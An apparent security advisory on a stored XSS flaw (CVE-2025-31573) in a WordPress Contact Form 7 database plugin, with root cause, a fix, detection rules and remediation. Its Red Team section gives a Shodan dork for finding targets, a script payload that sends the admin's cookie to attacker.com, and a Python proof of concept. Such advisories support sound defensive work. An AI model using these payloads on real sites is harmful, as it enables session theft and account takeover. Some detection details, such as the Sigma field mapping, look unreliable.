CVE-2025-31573

Executive Summary

CVE-2025-31573 is a Stored Cross-Site Scripting (XSS) vulnerability in the PeproDev CF7 Database WordPress plugin, affecting versions up to and including 2.0.0. This flaw allows an attacker to inject arbitrary JavaScript into the web page, which is then stored and executed in the context of any user viewing the affected page. The vulnerability stems from improper neutralization of user-supplied input during web page generation.

Given that this is a WordPress plugin vulnerability, the attack surface is broad, as WordPress sites using this plugin are potential targets. The CVSS score of 7.1 (High) reflects the potential for data theft, session hijacking, and defacement. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but the lack of a patch increases risk for unmaintained installations.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party repositories. Users should verify the integrity of their plugin files and ensure they are not using compromised versions. No official patch is available as of this report.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit the page
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. While user interaction is required, the stored nature of the XSS means a single visit can trigger the payload. The lack of a patch makes this a persistent threat for unpatched sites.

Deep Dive & Mechanics

The vulnerability exists in the PeproDev CF7 Database plugin, which stores Contact Form 7 submissions into a database. The plugin fails to sanitize or escape user-supplied data before rendering it in the admin dashboard or frontend display.

Root Cause: The plugin uses functions like echo or print to output form data without applying WordPress escaping functions such as esc_html() or wp_kses_post(). This allows an attacker to submit a form with malicious JavaScript in fields like name, email, or message.

Attack Flow:

1. Attacker submits a Contact Form 7 form with a payload in a text field, e.g., <script>alert('XSS')</script>.
2. The plugin stores the payload in the database without sanitization.
3. When an administrator or user views the stored submissions (e.g., via the plugin's admin page), the payload executes in their browser.
4. The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.

WordPress Context: This is a classic stored XSS in a WordPress plugin. The vulnerability is not related to Apache or Nginx; it is purely a plugin-level input validation failure.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on secure coding practices.

Vulnerable Code (pepro-cf7-database.php):

// Vulnerable: Direct output without escaping
echo '<td>' . $submission_data['name'] . '</td>';

Patched Code (Hypothetical):

// Patched: Use WordPress escaping
echo '<td>' . esc_html( $submission_data['name'] ) . '</td>';

The patched version uses esc_html() to neutralize HTML and JavaScript, preventing XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A WordPress site with PeproDev CF7 Database <= 2.0.0 installed and active.
• A Contact Form 7 form configured to store submissions.

Exploitation Steps:

1. Identify a target WordPress site using the plugin (e.g., via Shodan dork: http.html:"pepro-cf7-database").
2. Submit a form with a malicious payload in a text field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Wait for an administrator to view the stored submissions.
4. The payload executes, exfiltrating the admin's session cookie.

Proof-of-Concept (PoC) Script:

import requests

target_url = "http://target-site.com/wp-json/contact-form-7/v1/contact-forms/1/feedback"
payload = {
    "your-name": "<script>alert('XSS')</script>",
    "your-email": "test@test.com",
    "your-message": "Test"
}
response = requests.post(target_url, data=payload)
print("Payload submitted. Check admin panel.")

Blue Team (Defender)

Detection Steps:

1. Monitor for unusual form submissions containing <script> tags or event handlers.
2. Review WordPress admin logs for unexpected plugin activity.
3. Use the detection rules below to identify exploitation attempts.

Lab Setup:

• Install WordPress with PeproDev CF7 Database plugin.
• Create a Contact Form 7 form and enable database storage.
• Submit a test payload and observe the stored XSS in the admin panel.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown domains from the WordPress server.
  • Requests containing <script> tags in POST data to Contact Form 7 endpoints.
• File IOCs:
  • Modified plugin files (e.g., pepro-cf7-database.php) with injected code.
  • Unexpected JavaScript files in the wp-content/uploads/ directory.
• Log IOCs:
  • WordPress debug logs showing print or echo of unsanitized data.
  • Web server logs with %3Cscript%3E (URL-encoded <script>) in POST parameters.

Detection Engineering

YARA Rule

rule CVE_2025_31573_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in PeproDev CF7 Database plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-31573"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $wp_plugin_path = /wp-content\/plugins\/pepro-cf7-database/
    condition:
        $wp_plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in PeproDev CF7 Database Plugin
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Contact Form 7 submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-json/contact-form-7/v1/contact-forms/'
        cs-request-body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31573 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-json/contact-form-7/v1/contact-forms/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not essential, or remove it entirely.
2. Apply a Web Application Firewall (WAF) rule to block <script> tags in form submissions.
3. Restrict access to the plugin's admin pages using IP whitelisting or .htaccess.

Long-Term Fix:

• Since no patch is available, consider migrating to an alternative Contact Form 7 database plugin that is actively maintained.
• If you must continue using this plugin, manually patch the code by adding esc_html() to all output functions in pepro-cf7-database.php.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert